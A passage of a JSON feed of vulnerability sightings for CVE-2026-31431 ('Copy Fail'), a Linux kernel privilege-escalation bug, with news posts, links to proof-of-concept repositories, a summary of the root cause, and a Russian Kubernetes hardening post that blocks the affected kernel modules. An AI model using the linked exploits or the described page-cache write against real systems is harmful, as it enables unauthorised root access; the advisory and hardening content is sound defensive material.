CVE-2026-46300, CVE-2026-31431\nhttps://certvde.com/en/advisories/vde-2026-072/\n#CSAF https://pilz.csaf-tp.certvde.com/.well-known/csaf/white/2026/ppsa-2026-003.json", "creation_timestamp": "2026-08-04T07:02:04.119804Z"}, {"uuid": "3dbb3c5f-75e5-4e5a-9138-25d1d5d00ab4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31692", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/redhat-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T10:16:16.435664Z"}, {"uuid": "ef7599ca-f008-4878-9e44-13d1837ed5d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/96631", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a dev1681\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-04 16:41:54\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\ncopyfail poc here\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-04T18:00:04.531422Z"}, {"uuid": "4575783b-b6b6-4702-a74e-9cc24fa4d837", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/CyberDispatch/1509", "content": "CISA Adds Actively Exploited Linux Root Access Bug CVE-2026-31431 to KEV.", "creation_timestamp": "2026-08-30T00:00:42.439688Z"}, {"uuid": "1b719d6b-d52c-48f8-86e5-ba57f556941a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/CyberDispatch/1514", "content": "A new #Linux flaw is now under active exploitation.\n\nCISA added CVE-2026-31431 to its KEV list. The bug lets low-privilege users gain full root access. Patches released.", "creation_timestamp": "2026-08-30T00:00:42.487732Z"}, {"uuid": "b872623f-f84d-4be1-8589-c6cb21bbbc20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/newsyc200.bsky.social/post/3mknwjhmpnz2m", "content": "Copy Fail \u2013 CVE-2026-31431 https://copy.fail/ (http://news.ycombinator.com/item?id=47952181)", "creation_timestamp": "2026-04-29T20:23:28.594842Z"}, {"uuid": "15d89919-b6c8-4072-ab16-ce558b3f38ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/fragmede/4fb38fb822359b8f5914127c2fe1c94f", "content": "", "creation_timestamp": "2026-04-29T20:24:46.000000Z"}, {"uuid": "f175f877-00d4-4670-b9fc-2e8f6c95423d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/jeht1hlPckgqiNrYmKXPjtYBl6Ckbf5A93GyXLRwxjRq970", "content": "", "creation_timestamp": "2026-05-03T09:00:04.000000Z"}, {"uuid": "10c331df-4b17-477f-abed-847e23b2f4b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "exploited", "source": "https://t.me/blackdragonproject/102130", "content": "CISA Adds Actively Exploited Linux Root Access Bug CVE-2026-31431 to KEV\n\nCVE-2026-31431 exploited in Linux since 2017, enabling root access via simple PoC, increasing container and cloud risks.", "creation_timestamp": "2026-07-31T00:00:39.072051Z"}, {"uuid": "34a22a4e-6b27-4b2b-9536-a4dfcebf0e48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/FLV6t7Va3c__w7z9N_mSu7nucQbg4vUfz1QpezNhFqmT_OM", "content": "", "creation_timestamp": "2026-05-02T21:00:04.000000Z"}, {"uuid": "7f30c7d8-8782-4992-962d-6f95220cf613", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/xhqcankao/29010", "content": "Linux\u5185\u6838\u66dd\u6f0f\u6d1e\uff1a\u53ef\u4f7f\u9ed1\u5ba2\u653b\u7834\u6240\u6709\u4e3b\u6d41Linux\u53d1\u884c\u7248\u83b7\u53d6Root\u6743\u9650\n\nLinux\u5185\u6838\u4e2d\u53d1\u73b0\u4e86\u4e00\u4e2a\u540d\u4e3a\u201cCopy Fail\u201d\uff08CVE-2026-31431\uff09\u7684\u903b\u8f91\u6f0f\u6d1e\uff0c\u8be5\u6f0f\u6d1e\u4f4d\u4e8eauthencesn\u52a0\u5bc6\u6a21\u677f\u4e2d\u3002\u5b83\u5141\u8bb8\u975e\u7279\u6743\u672c\u5730\u7528\u6237\u5728\u65e0\u9700\u7ade\u6001\u6761\u4ef6\u6216\u91cd\u8bd5\u7684\u60c5\u51b5\u4e0b\uff0c\u5bf9\u4efb\u4f55\u53ef\u8bfb\u6587\u4ef6\u7684\u9875\u7f13\u5b58\u6267\u884c\u786e\u5b9a\u6027\u76844\u5b57\u8282\u5199\u5165\u3002\u4e00\u4e2a732\u5b57\u8282\u7684Python\u811a\u672c\u5373\u53ef\u4fee\u6539setuid\u4e8c\u8fdb\u5236\u6587\u4ef6\uff0c\u4ece\u800c\u5728\u5305\u62ecUbuntu\u3001Amazon Linux\u3001RHEL\u548cSUSE\u5728\u5185\u7684\u51e0\u4e4e\u6240\u6709\u4e3b\u6d41Linux\u53d1\u884c\u7248\u4e0a\u83b7\u53d6root\u6743\u9650\u3002\u7531\u4e8e\u4ec5\u4fee\u6539\u5185\u5b58\u4e2d\u7684\u9875\u7f13\u5b58\uff0c\u56e0\u6b64\u786c\u76d8\u4e0a\u7684\u6587\u4ef6\u4fdd\u6301\u4e0d\u53d8\uff0c\u96be\u4ee5\u88ab\u5e38\u89c4\u6587\u4ef6\u5b8c\u6574\u6027\u5de5\u5177\u68c0\u6d4b\u3002\u6b64\u6f0f\u6d1e\u8fd8\u53ef\u7a7f\u900f\u5bb9\u5668\u8fb9\u754c\u3002\u5176\u6839\u672c\u539f\u56e0\u662fAF_ALG\u4e0esplice()\u7ed3\u5408\uff0c\u5c06\u9875\u7f13\u5b58\u9875\u7f6e\u4e8e\u53ef\u5199\u6563\u5217\u5217\u8868\u4e2d\uff0c\u5e76\u88abauthencesn\u7684\u8d8a\u754c\u5199\u5165\u5229\u7528\u3002\u4fee\u590d\u65b9\u6848\u662f\u64a4\u95002017\u5e74\u5f15\u5165\u7684in-place\u4f18\u5316\u3002\n\n\u2014\u2014 xint.io", "creation_timestamp": "2026-08-29T17:00:03.528443Z"}, {"uuid": "25238001-d1d6-4f6a-ab2b-29dd1a7918a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/MurpDVre-4LCYzH5BvUtvVRvpJ9yqT35RKsHtthqDCH1oSA", "content": "", "creation_timestamp": "2026-05-03T03:00:05.000000Z"}, {"uuid": "6496ada0-1f11-4e01-aa84-20ed8fb71f23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/cYbomHaTGTLOs95SVGZEas4XOSbbs1P0dkn6F8I8p6igQwc", "content": "", "creation_timestamp": "2026-05-02T15:00:06.000000Z"}, {"uuid": "1320ed87-aaba-4415-ac0e-b3f7bb2f3fa9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/lalgorisme.bsky.social/post/3mknxngmmqk2z", "content": "La IA ha ajudat a descobrir una nova vulnerabilitat cr\u00edtica a Linux: CVE-2026-31431 \u201cCopy Fail\u201d\nUn \u00fanic script Python de 732 l\u00ednies permet a qualsevol usuari local obtenir acc\u00e9s root en pr\u00e0cticament tots els sistemes Linux des de 2017.\n\ncopy.fail", "creation_timestamp": "2026-04-29T20:43:39.336097Z"}, {"uuid": "63c10239-afc1-4910-87c4-0826a30042b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mknxobha532x", "content": "CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-04-29T20:44:06.150772Z"}, {"uuid": "802becb1-9d54-45d3-9e9e-a224266c3eec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/3a2jD3gjNHncLnKc8fyr9DC3SGOgXMvvZ9Cx1ndl6893LxY", "content": "", "creation_timestamp": "2026-05-02T09:00:04.000000Z"}, {"uuid": "be0d0c87-ae23-44cb-baef-459249ef8970", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/linux-kernel-elevation-of-privilege-vulnerability_20260504", "content": "", "creation_timestamp": "2026-05-03T18:45:00.000000Z"}, {"uuid": "94932710-1e7e-40a5-ba6b-b3ee9d40f7fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/fussycoder.bsky.social/post/3mkny2aetks2g", "content": "Welp, CVE-2026-31431  is exciting... \ud83d\udc40\ud83d\ude31", "creation_timestamp": "2026-04-29T20:50:44.587316Z"}, {"uuid": "558d415d-30e8-4c1f-a369-1fb77b2b4b7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/makebreakreflect/326", "content": "#aws #eks #kubernetes #bottlerocket #troubleshooting #security #linux #CVE\n\n\u0421\u043e\u0440\u0440\u0438 \u0437\u0430 \u0447\u0430\u0441\u0442\u044b\u0435 \u043f\u043e\u0441\u0442\u044b \u0441\u0435\u0433\u043e\u0434\u043d\u044f\u2614\ufe0f\n\n\u041f\u043e\u043a\u0430 \u044f \u0431\u044b\u043b \u0432 \u043e\u0442\u043f\u0443\u0441\u043a\u0435 \u0438 \u0441\u043f\u0430\u043b, \u0441\u043d\u043e\u0432\u0430 \u0441\u043b\u043e\u043c\u0430\u043b\u0438 \u0432\u0441\u0435 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u044b.\n\n\u0412 \u043c\u0430\u0435 2026 \u0432\u044b\u0448\u043b\u0430 \u043f\u0430\u0440\u0430 \u0441\u0432\u0435\u0436\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u044f\u0434\u0440\u0430 linux \u0432 \u043e\u0441\n- \u043f\u0435\u0440\u0432\u0430\u044f: CVE-2026-31431, \u043e\u043d\u0430 \u0436\u0435 Copy Fail \nhttps://copy.fail \n- \u0432\u0442\u043e\u0440\u0430\u044f: Dirty Frag, \u0441\u043c\u0435\u0436\u043d\u0430\u044f \u043a \u043f\u0435\u0440\u0432\u043e\u0439\nhttps://github.com/V4bel/dirtyfrag \n\n\u041e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u044d\u0442\u043e \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 (LPE). \n\u0422\u043e \u0435\u0441\u0442\u044c \u0435\u0441\u043b\u0438 \u043a\u0442\u043e-\u0442\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b \u043a\u043e\u0434 \u043d\u0430 \u0432\u0430\u0448\u0435\u0439 \u043d\u043e\u0434\u0435, \u043e\u043d \u043c\u043e\u0436\u0435\u0442 \u0441\u0442\u0430\u0442\u044c \u0440\u0443\u0442\u043e\u043c. \n\u0412 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 Kubernetes \u044d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u043d\u0430 \u0445\u043e\u0441\u0442.\n\n\u041f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u043f\u043e\u0448\u0451\u043b \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u0430 \u0432\u043e\u043e\u0431\u0449\u0435 \u043c\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0438\u043b\u0438 \u043d\u0435\u0442.\n\u0421\u043f\u043e\u0441\u043e\u0431 1: \nkubectl debug node/<\u0438\u043c\u044f_\u043d\u043e\u0434\u044b> -it --image=busybox -- sh\n\u0412\u043d\u0443\u0442\u0440\u0438:\nchroot /host modprobe algif_aead\n\n\u0415\u0441\u043b\u0438 \u0432 \u043e\u0442\u0432\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0435:\nmodprobe: ERROR: could not insert 'algif_aead': Operation not permitted\n\u0412\u044b \u043d\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0432\u0435\u0440\u0441\u0438\u044f AMI \u0441\u0442\u0430\u0440\u0430\u044f.\n\u0415\u0441\u043b\u0438 \u043c\u043e\u0434\u0443\u043b\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u043b\u0441\u044f \u0431\u0435\u0437 \u043e\u0448\u0438\u0431\u043e\u043a, \u0443\u044f\u0437\u0432\u0438\u043c\u044b, \u0447\u0438\u0442\u0430\u0439\u0442\u0435 \u0434\u0430\u043b\u044c\u0448\u0435.\n\n\u0421\u043f\u043e\u0441\u043e\u0431 2: \u0447\u0435\u0440\u0435\u0437 SSM \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e \u043d\u0430 \u043d\u043e\u0434\u0443 (\u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f Bottlerocket)\n\u042d\u0442\u043e \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0434\u043b\u044f Bottlerocket. \n\u042f \u043f\u0438\u0441\u0430\u043b \u043e\u0431 \u044d\u0442\u043e\u043c \u043d\u0435 \u0440\u0430\u0437, \u0438\u0441\u043a\u0430\u0442\u044c \u043f\u043e \u0442\u0435\u0433\u0443  #bottlerocket\n\n\u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c\u0441\u044f \u043a \u043d\u043e\u0434\u0435 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u043c\u043e\u0434\u0443\u043b\u0438:\ncat /proc/modules | grep -E 'algif_aead|esp4|esp6|rxrpc'\n\u0415\u0441\u043b\u0438 \u043f\u0443\u0441\u0442\u043e, \u043c\u043e\u0434\u0443\u043b\u0438 \u043d\u0435 \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u044b.\n\u041f\u0440\u043e\u0431\u0443\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043f\u0440\u0438\u043d\u0443\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e:\nmodprobe algif_aead\n\u0415\u0441\u043b\u0438 Operation not permitted, \u043d\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n\u041f\u043e\u0447\u0435\u043c\u0443 \u0443 \u043d\u0430\u0441 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e, \u0445\u043e\u0442\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u044f\u0434\u0440\u0430 \u0441\u0442\u0430\u0440\u0430\u044f\n\u0423 \u043d\u0430\u0441 EKS \u0441 Bottlerocket AMI. \nBottlerocket \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0441 \nkernel.lockdown = integrity.\n\u0412 \u044d\u0442\u043e\u043c \u0440\u0435\u0436\u0438\u043c\u0435 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u043d\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 modprobe \u0438\u0437 \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u0430.\n\u0422\u043e \u0435\u0441\u0442\u044c Copy Fail + Dirty Frag \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043c\u043e\u0434\u0443\u043b\u044c algif_aead (\u0438\u043b\u0438 esp4/esp6/rxrpc \u043a\u0430\u043a \u043e\u0431\u0445\u043e\u0434), \u043d\u043e lockdown \u043f\u0440\u043e\u0441\u0442\u043e \u043d\u0435 \u0434\u0430\u0451\u0442 \u044d\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c.\n\n\u042d\u0442\u043e \u043d\u0435 \u0437\u043d\u0430\u0447\u0438\u0442, \u0447\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0441\u0441\u043b\u0430\u0431\u0438\u0442\u044c\u0441\u044f. \n\u042d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442, \u0447\u0442\u043e \u0435\u0441\u0442\u044c \u043e\u0434\u0438\u043d \u0441\u043b\u043e\u0439 \u0437\u0430\u0449\u0438\u0442\u044b. \nDefence-in-depth \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432\u0442\u043e\u0440\u043e\u0439 \u044f\u0432\u043d\u044b\u0439 \u0441\u043b\u043e\u0439 \u0438 \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u044f\u0434\u0440\u043e.\n\n\u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c \u0432 \u043b\u044e\u0431\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435: \u044f\u0432\u043d\u043e \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u043c \u043c\u043e\u0434\u0443\u043b\u0438\n\u041d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u043e\u0442 \u0442\u043e\u0433\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u044b \u0438\u043b\u0438 \u043d\u0435\u0442, \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u0435\u0435 \u044f\u0432\u043d\u043e \u0437\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u044d\u0442\u0438\u0445 \u043c\u043e\u0434\u0443\u043b\u0435\u0439. \n\u041e\u0434\u0438\u043d lockdown \u044d\u0442\u043e \u0445\u043e\u0440\u043e\u0448\u043e, \u043d\u043e \u044f\u0432\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u0435\u0442 \u043b\u0443\u0447\u0448\u0435.\n\nBottlerocket (Terraform, launch template + user data):\n\u0414\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0432 bottlerocket.tpl:\n[settings.kernel]\nlockdown = \"integrity\"\n\n[settings.kernel.modules.algif_aead]\nallowed = false\n\n[settings.kernel.modules.esp4]\nallowed = false\n\n[settings.kernel.modules.esp6]\nallowed = false\n\n[settings.kernel.modules.rxrpc]\nallowed = false\n\u042d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 Bottlerocket API. \n\u041e\u043d \u0441\u0430\u043c \u0441\u043e\u0437\u0434\u0430\u0441\u0442 \u043d\u0443\u0436\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 /etc/modprobe.d/ \u043f\u0440\u0438 \u0441\u0442\u0430\u0440\u0442\u0435 \u043d\u043e\u0434\u044b.\n\n\u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 Karpenter, \u0442\u043e \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0435 \u0432 NodeClass \u0438\u043b\u0438 EC2NodeClass \u0432 \u0441\u0435\u043a\u0446\u0438\u044e userData \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0439 \u0431\u043b\u043e\u043a \u0434\u043b\u044f \u0432\u0430\u0448\u0435\u0433\u043e distro. \n\u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u0441\u0430\u043c\u043e\u043f\u0438\u0441\u043d\u044b\u0435 Terraform-\u043c\u043e\u0434\u0443\u043b\u0438 \u0434\u043b\u044f \u043d\u043e\u0434-\u0433\u0440\u0443\u043f\u043f, \u0442\u043e \u0441\u043c\u043e\u0442\u0440\u0438\u0442\u0435 \u0433\u0434\u0435 \u0443 \u0432\u0430\u0441 \u0444\u043e\u0440\u043c\u0438\u0440\u0443\u0435\u0442\u0441\u044f user_data \u0434\u043b\u044f launch template. \n\u0414\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0435 \u0442\u0443\u0434\u0430 \u0431\u043b\u043e\u043a \u0432\u044b\u0448\u0435. \n\u041f\u0430\u0442\u0442\u0435\u0440\u043d \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435, \u0440\u0430\u0437\u043d\u0438\u0446\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441\u0435 \u0448\u0430\u0431\u043b\u043e\u043d\u0430.\n\n\u041a\u0430\u043a \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0447\u0442\u043e \u0432\u0441\u0451 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043b\u043e\u0441\u044c\n\u0414\u043b\u044f Bottlerocket \u0435\u0441\u0442\u044c \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431: \u0447\u0435\u0440\u0435\u0437 apiclient \u043f\u0440\u044f\u043c\u043e \u0441 \u043d\u043e\u0434\u044b, \u0431\u0435\u0437 debug \u043f\u043e\u0434\u043e\u0432 \u0438 \u0431\u0435\u0437 sheltie. \n\u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0447\u0435\u0440\u0435\u0437 SSM send-command \u0438\u0437 \u043b\u044e\u0431\u043e\u0433\u043e \u043c\u0435\u0441\u0442\u0430 \u0433\u0434\u0435 \u0435\u0441\u0442\u044c aws cli.\n\n\u0423\u0437\u043d\u0430\u0451\u043c instance ID:\nkubectl get node <\u0438\u043c\u044f_\u043d\u043e\u0434\u044b> -o jsonpath='{.spec.providerID}' | sed 's|.*\\/||'\n\u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0447\u0435\u0440\u0435\u0437 SSM:\naws ssm send-command \\\n  --instance-ids  \\\n  --document-name \"AWS-RunShellScript\" \\\n  --parameters 'commands=[\"apiclient get settings.kernel\"]' \\\n  --region us-east-1\n\n\u0421\u043c\u043e\u0442\u0440\u0438\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442:\naws ssm get-command-invocation \\\n  --command-id  \\\n  --instance-id  \\\n  --region us-east-1 \\\n  --query 'StandardOutputContent' \\\n  --output text\n\u0415\u0441\u043b\u0438 \u0432\u0441\u0451 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043b\u043e\u0441\u044c, \u0443\u0432\u0438\u0434\u0438\u0442\u0435:\n{\n  \"settings\": {\n    \"kernel\": {\n      \"lockdown\": \"integrity\",\n      \"modules\": {\n        \"algif_aead\": { \"allowed\": false },\n        \"esp4\":       { \"allowed\": false },\n        \"esp6\":       { \"allowed\": false },\n        \"rxrpc\":      { \"allowed\": false }\n      }\n    }\n  }\n}\n\n\u0415\u0441\u043b\u0438 \u043f\u0430\u0442\u0447 \u043d\u0435 \u043f\u0440\u0438\u043c\u0435\u043d\u0451\u043d, \u0442\u043e\u043b\u044c\u043a\u043e lockdown, \u0431\u0435\u0437 modules:\n{\n  \"settings\": {\n    \"kernel\": {\n      \"lockdown\": \"integrity\"\n    }\n  }\n}\n\n\u042d\u0442\u043e \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043a\u043e\u043d\u0444\u0438\u0433 \u0438\u043c\u0435\u043d\u043d\u043e \u0442\u0430\u043a, \u043a\u0430\u043a \u0435\u0433\u043e \u0432\u0438\u0434\u0438\u0442 \u0441\u0430\u043c\u0430 OS. \n\u041b\u0443\u0447\u0448\u0435 \u0447\u0435\u043c \u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0440\u0443\u043a\u0430\u043c\u0438.\n\u041c\u043e\u0436\u043d\u043e \u0441\u043f\u0430\u0442\u044c \u0434\u0430\u043b\u044c\u0448\u0435 \ud83d\udecc", "creation_timestamp": "2026-08-29T18:00:03.829195Z"}, {"uuid": "b979ab0d-268b-4c1f-bdfe-1b437f4c509a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/P0x3k_1N73LL1G3NC3/339", "content": "Copy Fail\u2014 Linux LPE (CVE-2026-31431)\n\nA logic bug in the Linux kernel's authencesncryptographic template. It lets an unprivileged local user trigger a deterministic, controlled 4-byte write into the page cache of any readable file on the system. A single 732-byte Python script can edit a setuid binary and obtain root on essentially all Linux distributions shipped since 2017.\n\nExploit: https://github.com/theori-io/copy-fail-CVE-2026-31431\n\nA 732-byte PoC gets root on Ubuntu, Amazon Linux, RHEL, SUSE.", "creation_timestamp": "2026-04-29T19:58:35.000000Z"}, {"uuid": "925b5176-fe0d-47db-8036-35b48b4cbb75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/m1ddl3w4r3/cdf95ac103d819eab7100f6b3d7c7f2f", "content": "", "creation_timestamp": "2026-04-29T21:01:14.000000Z"}, {"uuid": "558edd6d-5e33-4142-a144-da4398164d8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/newsyc250.bsky.social/post/3mknyr5hmok2a", "content": "Copy Fail \u2013 CVE-2026-31431 https://copy.fail/ (http://news.ycombinator.com/item?id=47952181)", "creation_timestamp": "2026-04-29T21:03:33.751818Z"}, {"uuid": "396e0df9-407f-438f-9320-9df1c2c75239", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 